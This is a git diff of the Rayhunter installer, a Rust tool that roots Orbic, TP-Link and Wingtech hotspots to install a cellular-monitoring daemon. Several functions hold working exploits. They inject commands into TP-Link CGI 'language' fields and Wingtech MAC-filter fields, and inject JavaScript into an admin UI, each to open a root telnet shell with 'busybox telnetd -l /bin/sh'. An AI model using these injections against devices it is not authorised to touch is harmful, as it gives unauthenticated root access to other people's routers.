adb_at_syscmd(adb_device, "chmod 4755 /bin/rootshell").await?;
|
||||
let output = adb_command(adb_device, &["/bin/rootshell", "-c", "id"])?;
|
||||
if !output.contains("uid=0") {
|
||||
bail!("rootshell is not giving us root.");
|
||||
@@ -90,46 +90,39 @@ async fn setup_rootshell(
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn setup_rayhunter(
|
||||
serial_interface: &Interface,
|
||||
mut adb_device: ADBUSBDevice,
|
||||
) -> Result<ADBUSBDevice> {
|
||||
async fn setup_rayhunter(mut adb_device: ADBUSBDevice) -> Result<ADBUSBDevice> {
|
||||
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON_ORBIC"));
|
||||
|
||||
at_syscmd(serial_interface, "mkdir -p /data/rayhunter").await?;
|
||||
adb_at_syscmd(&mut adb_device, "mkdir -p /data/rayhunter").await?;
|
||||
install_file(
|
||||
serial_interface,
|
||||
&mut adb_device,
|
||||
"/data/rayhunter/rayhunter-daemon",
|
||||
rayhunter_daemon_bin,
|
||||
)
|
||||
.await?;
|
||||
install_file(
|
||||
serial_interface,
|
||||
&mut adb_device,
|
||||
"/data/rayhunter/config.toml",
|
||||
CONFIG_TOML.as_bytes(),
|
||||
)
|
||||
.await?;
|
||||
install_file(
|
||||
serial_interface,
|
||||
&mut adb_device,
|
||||
"/etc/init.d/rayhunter_daemon",
|
||||
RAYHUNTER_DAEMON_INIT.as_bytes(),
|
||||
)
|
||||
.await?;
|
||||
install_file(
|
||||
serial_interface,
|
||||
&mut adb_device,
|
||||
"/etc/init.d/misc-daemon",
|
||||
include_bytes!("../../dist/scripts/misc-daemon"),
|
||||
)
|
||||
.await?;
|
||||
at_syscmd(serial_interface, "chmod 755 /etc/init.d/rayhunter_daemon").await?;
|
||||
at_syscmd(serial_interface, "chmod 755 /etc/init.d/misc-daemon").await?;
|
||||
adb_at_syscmd(&mut adb_device, "chmod 755 /etc/init.d/rayhunter_daemon").await?;
|
||||
adb_at_syscmd(&mut adb_device, "chmod 755 /etc/init.d/misc-daemon").await?;
|
||||
println!("done");
|
||||
echo!("Waiting for reboot... ");
|
||||
at_syscmd(serial_interface, "shutdown -r -t 1 now").await?;
|
||||
adb_at_syscmd(&mut adb_device, "shutdown -r -t 1 now").await?;
|
||||
// first wait for shutdown (it can take ~10s)
|
||||
tokio::time::timeout(Duration::from_secs(30), async {
|
||||
while let Ok(dev) = adb_echo_test(adb_device).await {
|
||||
@@ -161,16 +154,11 @@ async fn test_rayhunter(adb_device: &mut ADBUSBDevice) -> Result<()> {
|
||||
bail!("timeout reached! failed to reach rayhunter, something went wrong :(")
|
||||
}
|
||||
|
||||
async fn install_file(
|
||||
serial_interface: &Interface,
|
||||
adb_device: &mut ADBUSBDevice,
|
||||
dest: &str,
|
||||
payload: &[u8],
|
||||
) -> Result<()> {
|
||||
async fn install_file(adb_device: &mut ADBUSBDevice, dest: &str, payload: &[u8]) -> Result<()> {
|
||||
const MAX_FAILURES: u32 = 5;
|
||||
let mut failures = 0;
|
||||
loop {
|
||||
match install_file_impl(serial_interface, adb_device, dest, payload).await {
|
||||
match install_file_impl(adb_device, dest, payload).await {
|
||||
Ok(()) => return Ok(()),
|
||||
Err(e) => {
|
||||
if failures > MAX_FAILURES {
|
||||
@@ -185,7 +173,6 @@ async fn install_file(
|
||||
}
|
||||
|
||||
async fn install_file_impl(
|
||||
serial_interface: &Interface,
|
||||
adb_device: &mut ADBUSBDevice,
|
||||
dest: &str,
|
||||
mut payload: &[u8],
|
||||
@@ -202,7 +189,7 @@ async fn install_file_impl(
|
||||
let file_hash_bytes = hasher.finalize();
|
||||
let file_hash = format!("{file_hash_bytes:x}");
|
||||
adb_device.push(&mut payload, &push_tmp_path)?;
|
||||
at_syscmd(serial_interface, &format!("mv {push_tmp_path} {dest}")).await?;
|
||||
adb_at_syscmd(adb_device, &format!("mv {push_tmp_path} {dest}")).await?;
|
||||
let file_info = adb_device
|
||||
.stat(dest)
|
||||
.context("Failed to stat transfered file")?;
|
||||
@@ -244,7 +231,7 @@ async fn get_adb() -> Result<ADBUSBDevice> {
|
||||
Err(RustADBError::IOError(e)) if e.kind() == ErrorKind::ResourceBusy => {
|
||||
bail!(ORBIC_BUSY);
|
||||
}
|
||||
#[cfg(target_os = "macos")]
|
||||
#[cfg(any(target_os = "macos", target_os = "windows"))]
|
||||
Err(RustADBError::IOError(e)) if e.kind() == ErrorKind::PermissionDenied => {
|
||||
bail!(ORBIC_BUSY_MAC);
|
||||
}
|
||||
@@ -321,9 +308,58 @@ async fn wait_for_usb_device(vendor_id: u16, product_id: u16) -> Result<()> {
|
||||
}
|
||||
}
|
||||
|
||||
async fn at_syscmd(interface: &Interface, command: &str) -> Result<()> {
|
||||
send_serial_cmd(interface, &format!("AT+SYSCMD={command}")).await
|
||||
async fn adb_setup_serial(adb_device: &mut ADBUSBDevice) -> Result<()> {
|
||||
Ok(adb_device.get_transport_mut().claim_interface(INTERFACE)?)
|
||||
}
|
||||
|
||||
async fn adb_at_syscmd(adb_device: &mut ADBUSBDevice, command: &str) -> Result<()> {
|
||||
adb_serial_cmd(adb_device, &format!("AT+SYSCMD={command}")).await
|
||||
}
|
||||
|
||||
async fn adb_serial_cmd(adb_device: &mut ADBUSBDevice, command: &str) -> Result<()> {
|
||||
let mut data = String::new();
|
||||
data.push_str("\r\n");
|
||||
data.push_str(command);
|
||||
data.push_str("\r\n");
|
||||
|
||||
let timeout = Duration::from_secs(2);
|
||||
let mut response = [0; 256];
|
||||
|
||||
// Set up the serial port appropriately
|
||||
adb_device
|
||||
.get_transport_mut()
|
||||
.send_usb_class_control_msg(INTERFACE, 0x22, 3, 1, &[], timeout)
|
||||
.context("Failed to send control request")?;
|
||||
|
||||
// Send the command
|
||||
adb_device
|
||||
.get_transport_mut()
|
||||
.usb_bulk_write(INTERFACE, 0x2, data.as_bytes(), timeout)
|
||||
.context("Failed to write command")?;
|
||||
|
||||
// Consume the echoed command
|
||||
adb_device
|
||||
.get_transport_mut()
|
||||
.usb_bulk_read(INTERFACE, 0x82, &mut response, timeout)
|
||||
.context("Failed to read submitted command")?;
|
||||
|
||||
// Read the actual response
|
||||
adb_device
|
||||
.get_transport_mut()
|
||||
.usb_bulk_read(INTERFACE, 0x82, &mut response, timeout)
|
||||
.context("Failed to read response")?;
|
||||
|
||||
// For some reason, on macOS the response buffer gets filled with garbage data that's
|
||||
// rarely valid UTF-8. Luckily we only care about the first couple bytes, so just drop
|
||||
// the garbage with `from_utf8_lossy` and look for our expected success string.
|
||||
let responsestr = String::from_utf8_lossy(&response);
|
||||
if !responsestr.contains("\r\nOK\r\n") {
|
||||
bail!("Received unexpected response: {0}", responsestr);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Sends an AT command to the usb device over the serial port
|
||||
///
|
||||
/// First establish a USB handle and context by calling `open_orbic(<T>)
|
||||
@@ -400,7 +436,7 @@ pub fn enable_command_mode() -> Result<()> {
|
||||
index: 0,
|
||||
};
|
||||
let interface = device
|
||||
.detach_and_claim_interface(1)
|
||||
.detach_and_claim_interface(RNDIS_INTERFACE)
|
||||
.context("detach_and_claim_interface(1) failed")?;
|
||||
if let Err(e) = interface.control_out_blocking(enable_command_mode, &[], timeout) {
|
||||
// If the device reboots while the command is still executing we
|
||||
@@ -421,7 +457,7 @@ pub fn open_orbic() -> Result<Option<Interface>> {
|
||||
// Device after initial mode switch
|
||||
if let Some(device) = open_usb_device(VENDOR_ID, PRODUCT_ID)? {
|
||||
let interface = device
|
||||
.detach_and_claim_interface(1) // will reattach drivers on release
|
||||
.detach_and_claim_interface(INTERFACE) // will reattach drivers on release
|
||||
.context("detach_and_claim_interface(1) failed")?;
|
||||
return Ok(Some(interface));
|
||||
}
|
||||
@@ -429,7 +465,7 @@ pub fn open_orbic() -> Result<Option<Interface>> {
|
||||
// Device with rndis enabled as well
|
||||
if let Some(device) = open_usb_device(VENDOR_ID, 0xf622)? {
|
||||
let interface = device
|
||||
.detach_and_claim_interface(1) // will reattach drivers on release
|
||||
.detach_and_claim_interface(INTERFACE) // will reattach drivers on release
|
||||
.context("detach_and_claim_interface(1) failed")?;
|
||||
return Ok(Some(interface));
|
||||
}
|
||||
|
||||
@@ -15,11 +15,10 @@ use bytes::{Bytes, BytesMut};
|
||||
use hyper::StatusCode;
|
||||
use hyper_util::{client::legacy::connect::HttpConnector, rt::TokioExecutor};
|
||||
use serde::Deserialize;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{sleep, timeout};
|
||||
use tokio::time::sleep;
|
||||
|
||||
use crate::InstallTpLink;
|
||||
use crate::util::{telnet_send_command, telnet_send_file};
|
||||
|
||||
type HttpProxyClient = hyper_util::client::legacy::Client<HttpConnector, Body>;
|
||||
|
||||
@@ -27,10 +26,11 @@ pub async fn main_tplink(
|
||||
InstallTpLink {
|
||||
skip_sdcard,
|
||||
admin_ip,
|
||||
sdcard_path,
|
||||
}: InstallTpLink,
|
||||
) -> Result<(), Error> {
|
||||
start_telnet(&admin_ip).await?;
|
||||
tplink_run_install(skip_sdcard, admin_ip).await
|
||||
let is_v3 = start_telnet(&admin_ip).await?;
|
||||
tplink_run_install(skip_sdcard, admin_ip, sdcard_path, is_v3).await
|
||||
}
|
||||
|
||||
#[derive(Deserialize)]
|
||||
@@ -38,24 +38,33 @@ struct V3RootResponse {
|
||||
result: u64,
|
||||
}
|
||||
|
||||
pub async fn start_telnet(admin_ip: &str) -> Result<(), Error> {
|
||||
let qcmap_web_cgi_endpoint = format!("http://{admin_ip}/cgi-bin/qcmap_web_cgi");
|
||||
pub async fn start_telnet(admin_ip: &str) -> Result<bool, Error> {
|
||||
let client = reqwest::Client::new();
|
||||
|
||||
println!("Launching telnet on the device");
|
||||
|
||||
// https://github.com/advisories/GHSA-ffwq-9r7p-3j6r
|
||||
// in particular: https://www.yuque.com/docs/share/fca60ef9-e5a4-462a-a984-61def4c9b132
|
||||
let response = client.post(&qcmap_web_cgi_endpoint)
|
||||
.body(r#"{"module": "webServer", "action": 1, "language": "EN';echo $(busybox telnetd -l /bin/sh);echo 1'"}"#)
|
||||
.send()
|
||||
.await?;
|
||||
for endpoint in [
|
||||
// TP-Link M7350 v3
|
||||
// https://github.com/advisories/GHSA-ffwq-9r7p-3j6r
|
||||
// in particular: https://www.yuque.com/docs/share/fca60ef9-e5a4-462a-a984-61def4c9b132
|
||||
format!("http://{admin_ip}/cgi-bin/qcmap_web_cgi"),
|
||||
// TP-Link M7310 v1
|
||||
// (adaptation of M7350 exploit)
|
||||
format!("http://{admin_ip}/cgi-bin/web_cgi"),
|
||||
] {
|
||||
let response = client.post(&endpoint)
|
||||
.body(r#"{"module": "webServer", "action": 1, "language": "EN';echo $(busybox telnetd -l /bin/sh);echo 1'"}"#)
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
if response.status() == 404 {
|
||||
println!("Got a 404 trying to run exploit for hardware revision v3, trying v5 exploit");
|
||||
tplink_launch_telnet_v5(admin_ip).await?;
|
||||
} else {
|
||||
let V3RootResponse { result } = response.error_for_status()?.json().await?;
|
||||
if response.status() == 404 {
|
||||
continue;
|
||||
}
|
||||
|
||||
let Ok(V3RootResponse { result }) = response.error_for_status()?.json().await else {
|
||||
// On TP-Link M7350 v9, the endpoint /cgi-bin/web_cgi returns 200 OK without launching telnet, and without a response body.
|
||||
continue;
|
||||
};
|
||||
|
||||
if result != 0 {
|
||||
anyhow::bail!("Bad result code when trying to root device: {result}");
|
||||
@@ -64,7 +73,7 @@ pub async fn start_telnet(admin_ip: &str) -> Result<(), Error> {
|
||||
// resetting the language is important because otherwise the tplink's admin interface is
|
||||
// unusuable.
|
||||
let V3RootResponse { result } = client
|
||||
.post(&qcmap_web_cgi_endpoint)
|
||||
.post(&endpoint)
|
||||
.body(r#"{"module": "webServer", "action": 1, "language": "en"}"#)
|
||||
.send()
|
||||
.await?
|
||||
@@ -77,25 +86,55 @@ pub async fn start_telnet(admin_ip: &str) -> Result<(), Error> {
|
||||
}
|
||||
|
||||
println!("Detected hardware revision v3");
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
println!(
|
||||
"Succeeded in rooting the device! Now you can use 'telnet {admin_ip}' to get a root shell. Use './installer util tplink-start-telnet' to root again without installing rayhunter."
|
||||
);
|
||||
Ok(())
|
||||
println!("Got a 404 trying to run exploit for hardware revision v3, trying v5 exploit");
|
||||
tplink_launch_telnet_v5(admin_ip).await?;
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
async fn tplink_run_install(skip_sdcard: bool, admin_ip: String) -> Result<(), Error> {
|
||||
async fn tplink_run_install(
|
||||
skip_sdcard: bool,
|
||||
admin_ip: String,
|
||||
mut sdcard_path: String,
|
||||
is_v3: bool,
|
||||
) -> Result<(), Error> {
|
||||
println!("Connecting via telnet to {admin_ip}");
|
||||
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
|
||||
|
||||
if !skip_sdcard {
|
||||
println!("Mounting sdcard");
|
||||
if telnet_send_command(addr, "mount | grep -q /media/card", "exit code 0")
|
||||
.await
|
||||
.is_err()
|
||||
if sdcard_path.is_empty() {
|
||||
if telnet_send_command(addr, "ls /media/card", "exit code 0")
|
||||
.await
|
||||
.is_ok()
|
||||
{
|
||||
// TP-Link hardware less than v9.0
|
||||
sdcard_path = "/media/card".to_owned();
|
||||
} else if telnet_send_command(addr, "ls /media/sdcard", "exit code 0")
|
||||
.await
|
||||
.is_ok()
|
||||
{
|
||||
// TP-Link hardware v9.0
|
||||
sdcard_path = "/media/sdcard".to_owned();
|
||||
} else {
|
||||
anyhow::bail!(
|
||||
"unable to determine sdcard path. this is a bug. please file an issue with your hardware version."
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
println!("Mounting sdcard on {sdcard_path}");
|
||||
if telnet_send_command(
|
||||
addr,
|
||||
&format!("mount | grep -q {sdcard_path}"),
|
||||
"exit code 0",
|
||||
)
|
||||
.await
|
||||
.is_err()
|
||||
{
|
||||
telnet_send_command(addr, "mount /dev/mmcblk0p1 /media/card", "exit code 0").await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?;
|
||||
telnet_send_command(addr, &format!("mount /dev/mmcblk0p1 {sdcard_path}"), "exit code 0").await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?;
|
||||
} else {
|
||||
println!("sdcard already mounted");
|
||||
}
|
||||
@@ -105,28 +144,39 @@ async fn tplink_run_install(skip_sdcard: bool, admin_ip: String) -> Result<(), E
|
||||
// expects things to be at this location
|
||||
telnet_send_command(addr, "rm -rf /data/rayhunter", "exit code 0").await?;
|
||||
telnet_send_command(addr, "mkdir -p /data", "exit code 0").await?;
|
||||
telnet_send_command(addr, "ln -sf /media/card /data/rayhunter", "exit code 0").await?;
|
||||
telnet_send_command(
|
||||
addr,
|
||||
&format!("ln -sf {sdcard_path} /data/rayhunter"),
|
||||
"exit code 0",
|
||||
)
|
||||
.await?;
|
||||
|
||||
telnet_send_file(
|
||||
addr,
|
||||
"/media/card/config.toml",
|
||||
&format!("{sdcard_path}/config.toml"),
|
||||
crate::CONFIG_TOML.as_bytes(),
|
||||
)
|
||||
.await?;
|
||||
|
||||
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON_TPLINK"));
|
||||
|
||||
telnet_send_file(addr, "/media/card/rayhunter-daemon", rayhunter_daemon_bin).await?;
|
||||
telnet_send_file(
|
||||
addr,
|
||||
&format!("{sdcard_path}/rayhunter-daemon"),
|
||||
rayhunter_daemon_bin,
|
||||
)
|
||||
.await?;
|
||||
|
||||
telnet_send_file(
|
||||
addr,
|
||||
"/etc/init.d/rayhunter_daemon",
|
||||
get_rayhunter_daemon().as_bytes(),
|
||||
get_rayhunter_daemon(&sdcard_path).as_bytes(),
|
||||
)
|
||||
.await?;
|
||||
|
||||
telnet_send_command(
|
||||
addr,
|
||||
"chmod ugo+x /media/card/rayhunter-daemon",
|
||||
&format!("chmod ugo+x {sdcard_path}/rayhunter-daemon"),
|
||||
"exit code 0",
|
||||
)
|
||||
.await?;
|
||||
@@ -136,7 +186,13 @@ async fn tplink_run_install(skip_sdcard: bool, admin_ip: String) -> Result<(), E
|
||||
"exit code 0",
|
||||
)
|
||||
.await?;
|
||||
telnet_send_command(addr, "update-rc.d rayhunter_daemon defaults", "exit code 0").await?;
|
||||
|
||||
// if the device is not v3, the JS-based root exploit already added rayhunter_daemon as a
|
||||
// startup script. tplink v9 does not have update-rc.d, and it was reported that *sometimes* it
|
||||
// is unreliable on other hardware revisions too.
|
||||
if is_v3 {
|
||||
telnet_send_command(addr, "update-rc.d rayhunter_daemon defaults", "exit code 0").await?;
|
||||
}
|
||||
|
||||
println!(
|
||||
"Done. Rebooting device. After it's started up again, check out the web interface at http://{admin_ip}:8080"
|
||||
@@ -147,99 +203,6 @@ async fn tplink_run_install(skip_sdcard: bool, admin_ip: String) -> Result<(), E
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn telnet_send_file(addr: SocketAddr, filename: &str, payload: &[u8]) -> Result<(), Error> {
|
||||
println!("Sending file {filename}");
|
||||
|
||||
// remove the old file just in case we are close to disk capacity.
|
||||
telnet_send_command(addr, &format!("rm {filename}"), "").await?;
|
||||
|
||||
{
|
||||
let filename = filename.to_owned();
|
||||
let handle = tokio::spawn(async move {
|
||||
telnet_send_command(addr, &format!("nc -l 0.0.0.0:8081 > {filename}.tmp"), "").await
|
||||
});
|
||||
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
|
||||
let mut addr = addr;
|
||||
addr.set_port(8081);
|
||||
let mut stream = TcpStream::connect(addr).await?;
|
||||
stream.write_all(payload).await?;
|
||||
|
||||
handle.await??;
|
||||
}
|
||||
|
||||
let checksum = md5::compute(payload);
|
||||
|
||||
telnet_send_command(
|
||||
addr,
|
||||
&format!("md5sum {filename}.tmp"),
|
||||
&format!("{checksum:x} {filename}.tmp"),
|
||||
)
|
||||
.await?;
|
||||
|
||||
telnet_send_command(
|
||||
addr,
|
||||
&format!("mv {filename}.tmp {filename}"),
|
||||
"exit code 0",
|
||||
)
|
||||
.await?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn telnet_send_command(
|
||||
addr: SocketAddr,
|
||||
command: &str,
|
||||
expected_output: &str,
|
||||
) -> Result<(), Error> {
|
||||
let stream = TcpStream::connect(addr).await?;
|
||||
let (mut reader, mut writer) = stream.into_split();
|
||||
|
||||
loop {
|
||||
let mut next_byte = 0;
|
||||
reader
|
||||
.read_exact(std::slice::from_mut(&mut next_byte))
|
||||
.await?;
|
||||
if next_byte == b'#' {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
writer.write_all(command.as_bytes()).await?;
|
||||
writer.write_all(b"; echo exit code $?\r\n").await?;
|
||||
|
||||
let mut read_buf = Vec::new();
|
||||
|
||||
let _ = timeout(Duration::from_secs(5), async {
|
||||
let mut buf = [0; 4096];
|
||||
loop {
|
||||
let Ok(bytes_read) = reader.read(&mut buf).await else {
|
||||
break;
|
||||
};
|
||||
let bytes = &buf[..bytes_read];
|
||||
if bytes.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
read_buf.extend(bytes);
|
||||
|
||||
if read_buf.ends_with(b"/ # ") {
|
||||
break;
|
||||
}
|
||||
}
|
||||
})
|
||||
.await;
|
||||
|
||||
let string = String::from_utf8_lossy(&read_buf);
|
||||
|
||||
if !string.contains(expected_output) {
|
||||
anyhow::bail!("{expected_output:?} not found in: {string}");
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[derive(Clone)]
|
||||
struct AppState {
|
||||
client: HttpProxyClient,
|
||||
@@ -278,6 +241,7 @@ async fn handler(state: State<AppState>, mut req: Request) -> Result<Response, S
|
||||
// inject some javascript into the admin UI to get us a telnet shell.
|
||||
data.extend(br#";window.rayhunterPoll = window.setInterval(() => {
|
||||
Globals.models.PTModel.add({applicationName: "rayhunter-root", enableState: 1, entryId: 1, openPort: "2300-2400", openProtocol: "TCP", triggerPort: "$(busybox telnetd -l /bin/sh)", triggerProtocol: "TCP"});
|
||||
Globals.models.PTModel.add({applicationName: "rayhunter-daemon", enableState: 1, entryId: 2, openPort: "2400-2500", openProtocol: "TCP", triggerPort: "$(/etc/init.d/rayhunter_daemon start)", triggerProtocol: "TCP"});
|
||||
alert("Success! You can go back to the rayhunter installer.");
|
||||
window.clearInterval(window.rayhunterPoll);
|
||||
}, 1000);"#);
|
||||
@@ -324,7 +288,7 @@ async fn tplink_launch_telnet_v5(admin_ip: &str) -> Result<(), Error> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn get_rayhunter_daemon() -> String {
|
||||
fn get_rayhunter_daemon(sdcard_path: &str) -> String {
|
||||
// Even though TP-Link eventually auto-mounts the SD card, it sometimes does so too late. And
|
||||
// changing the order in which daemons are started up seems to not work reliably.
|
||||
//
|
||||
@@ -332,12 +296,12 @@ fn get_rayhunter_daemon() -> String {
|
||||
// specific to a particular hardware revision here.
|
||||
crate::RAYHUNTER_DAEMON_INIT.replace(
|
||||
"#RAYHUNTER-PRESTART",
|
||||
"mount /dev/mmcblk0p1 /media/card || true",
|
||||
&format!("mount /dev/mmcblk0p1 {sdcard_path} || true"),
|
||||
)
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_get_rayhunter_daemon() {
|
||||
let s = get_rayhunter_daemon();
|
||||
let s = get_rayhunter_daemon("/media/card");
|
||||
assert!(s.contains("mount /dev/mmcblk0p1 /media/card"));
|
||||
}
|
||||
|
||||
@@ -0,0 +1,90 @@
|
||||
use std::io::Write;
|
||||
use std::net::SocketAddr;
|
||||
use std::time::Duration;
|
||||
|
||||
use anyhow::{Result, bail};
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{sleep, timeout};
|
||||
|
||||
macro_rules! echo {
|
||||
($($arg:tt)*) => {
|
||||
print!($($arg)*);
|
||||
let _ = std::io::stdout().flush();
|
||||
};
|
||||
}
|
||||
pub(crate) use echo;
|
||||
|
||||
pub async fn telnet_send_command(
|
||||
addr: SocketAddr,
|
||||
command: &str,
|
||||
expected_output: &str,
|
||||
) -> Result<()> {
|
||||
let stream = TcpStream::connect(addr).await?;
|
||||
let (mut reader, mut writer) = stream.into_split();
|
||||
loop {
|
||||
let mut next_byte = 0;
|
||||
reader
|
||||
.read_exact(std::slice::from_mut(&mut next_byte))
|
||||
.await?;
|
||||
if next_byte == b'#' {
|
||||
break;
|
||||
}
|
||||
}
|
||||
writer.write_all(command.as_bytes()).await?;
|
||||
writer.write_all(b"; echo exit code $?\r\n").await?;
|
||||
let mut read_buf = Vec::new();
|
||||
let _ = timeout(Duration::from_secs(5), async {
|
||||
let mut buf = [0; 4096];
|
||||
loop {
|
||||
let Ok(bytes_read) = reader.read(&mut buf).await else {
|
||||
break;
|
||||
};
|
||||
let bytes = &buf[..bytes_read];
|
||||
if bytes.is_empty() {
|
||||
continue;
|
||||
}
|
||||
read_buf.extend(bytes);
|
||||
if read_buf.ends_with(b"/ # ") {
|
||||
break;
|
||||
}
|
||||
}
|
||||
})
|
||||
.await;
|
||||
let string = String::from_utf8_lossy(&read_buf);
|
||||
if !string.contains(expected_output) {
|
||||
bail!("{expected_output:?} not found in: {string}");
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn telnet_send_file(addr: SocketAddr, filename: &str, payload: &[u8]) -> Result<()> {
|
||||
echo!("Sending file {filename} ... ");
|
||||
{
|
||||
let filename = filename.to_owned();
|
||||
let handle = tokio::spawn(async move {
|
||||
telnet_send_command(addr, &format!("nc -l -p 8081 >{filename}.tmp"), "").await
|
||||
});
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
let mut addr = addr;
|
||||
addr.set_port(8081);
|
||||
let mut stream = TcpStream::connect(addr).await?;
|
||||
stream.write_all(payload).await?;
|
||||
handle.await??;
|
||||
}
|
||||
let checksum = md5::compute(payload);
|
||||
telnet_send_command(
|
||||
addr,
|
||||
&format!("md5sum {filename}.tmp"),
|
||||
&format!("{checksum:x} {filename}.tmp"),
|
||||
)
|
||||
.await?;
|
||||
telnet_send_command(
|
||||
addr,
|
||||
&format!("mv {filename}.tmp {filename}"),
|
||||
"exit code 0",
|
||||
)
|
||||
.await?;
|
||||
println!("ok");
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,182 @@
|
||||
/// Installer for the Wingtech CT2MHS01 hotspot.
|
||||
///
|
||||
/// Tested on (from `/etc/wt_version`):
|
||||
/// WT_INNER_VERSION=SW_Q89323AA1_V057_M10_CRICKET_USR_MP
|
||||
/// WT_PRODUCTION_VERSION=CT2MHS01_0.04.55
|
||||
/// WT_HARDWARE_VERSION=89323_1_20
|
||||
use std::io::Write;
|
||||
use std::net::SocketAddr;
|
||||
use std::str::FromStr;
|
||||
use std::time::Duration;
|
||||
|
||||
use aes::Aes128;
|
||||
use aes::cipher::{BlockEncrypt, KeyInit, generic_array::GenericArray};
|
||||
use anyhow::{Context, Result, bail};
|
||||
use base64_light::base64_encode_bytes;
|
||||
use block_padding::{Padding, Pkcs7};
|
||||
use reqwest::Client;
|
||||
use serde::Deserialize;
|
||||
use tokio::time::sleep;
|
||||
|
||||
use crate::WingtechArgs as Args;
|
||||
use crate::util::{echo, telnet_send_command, telnet_send_file};
|
||||
|
||||
#[derive(Deserialize)]
|
||||
struct LoginResponse {
|
||||
token: String,
|
||||
}
|
||||
|
||||
pub async fn install(
|
||||
Args {
|
||||
admin_ip,
|
||||
admin_password,
|
||||
}: Args,
|
||||
) -> Result<()> {
|
||||
wingtech_run_install(admin_ip, admin_password).await
|
||||
}
|
||||
|
||||
const KEY: &[u8] = b"abcdefghijklmn12";
|
||||
|
||||
/// Returns password encrypted in AES128 ECB mode with the key b"abcdefghijklmn12",
|
||||
/// with Pkcs7 padding, encoded in base64.
|
||||
fn encrypt_password(password: &[u8]) -> Result<String> {
|
||||
let c = Aes128::new_from_slice(KEY)?;
|
||||
let mut b = GenericArray::from([0u8; 16]);
|
||||
b[..password.len()].copy_from_slice(password);
|
||||
Pkcs7::pad(&mut b, password.len());
|
||||
c.encrypt_block(&mut b);
|
||||
Ok(base64_encode_bytes(&b))
|
||||
}
|
||||
|
||||
pub async fn start_telnet(admin_ip: &str, admin_password: &str) -> Result<()> {
|
||||
run_command(admin_ip, admin_password, "busybox telnetd -l /bin/sh").await
|
||||
}
|
||||
|
||||
pub async fn start_adb(admin_ip: &str, admin_password: &str) -> Result<()> {
|
||||
run_command(admin_ip, admin_password, "/sbin/usb/compositions/9025").await
|
||||
}
|
||||
|
||||
async fn run_command(admin_ip: &str, admin_password: &str, cmd: &str) -> Result<()> {
|
||||
let qcmap_auth_endpoint = format!("http://{admin_ip}/cgi-bin/qcmap_auth");
|
||||
let qcmap_web_cgi_endpoint = format!("http://{admin_ip}/cgi-bin/qcmap_web_cgi");
|
||||
|
||||
let encrypted_pw = encrypt_password(admin_password.as_bytes()).ok().unwrap();
|
||||
|
||||
let client = Client::new();
|
||||
let LoginResponse { token } = client
|
||||
.post(&qcmap_auth_endpoint)
|
||||
.body(format!(
|
||||
"type=login&pwd={encrypted_pw}&timeout=60000&user=admin"
|
||||
))
|
||||
.send()
|
||||
.await?
|
||||
.json()
|
||||
.await
|
||||
.context("login did not return a token in response")?;
|
||||
|
||||
let command = client.post(&qcmap_web_cgi_endpoint)
|
||||
.body(format!("page=setFWMacFilter&cmd=add&mode=0&mac=50:5A:CA:B5:05||{cmd}&key=50:5A:CA:B5:05:AC&token={token}"))
|
||||
.send()
|
||||
.await?;
|
||||
if command.status() != 200 {
|
||||
bail!(
|
||||
"running command failed with status code: {:?}",
|
||||
command.status()
|
||||
);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn wingtech_run_install(admin_ip: String, admin_password: String) -> Result<()> {
|
||||
echo!("Starting telnet ... ");
|
||||
start_telnet(&admin_ip, &admin_password).await?;
|
||||
println!("ok");
|
||||
|
||||
echo!("Connecting via telnet to {admin_ip} ... ");
|
||||
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
|
||||
telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0").await?;
|
||||
println!("ok");
|
||||
|
||||
telnet_send_file(
|
||||
addr,
|
||||
"/data/rayhunter/config.toml",
|
||||
crate::CONFIG_TOML.as_bytes(),
|
||||
)
|
||||
.await?;
|
||||
|
||||
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON_WINGTECH"));
|
||||
telnet_send_file(
|
||||
addr,
|
||||
"/data/rayhunter/rayhunter-daemon",
|
||||
rayhunter_daemon_bin,
|
||||
)
|
||||
.await?;
|
||||
telnet_send_command(
|
||||
addr,
|
||||
"chmod 755 /data/rayhunter/rayhunter-daemon",
|
||||
"exit code 0",
|
||||
)
|
||||
.await?;
|
||||
telnet_send_file(
|
||||
addr,
|
||||
"/etc/init.d/rayhunter_daemon",
|
||||
crate::RAYHUNTER_DAEMON_INIT.as_bytes(),
|
||||
)
|
||||
.await?;
|
||||
telnet_send_command(
|
||||
addr,
|
||||
"chmod 755 /etc/init.d/rayhunter_daemon",
|
||||
"exit code 0",
|
||||
)
|
||||
.await?;
|
||||
telnet_send_command(addr, "update-rc.d rayhunter_daemon defaults", "exit code 0").await?;
|
||||
|
||||
println!("Rebooting device and waiting 30 seconds for it to start up.");
|
||||
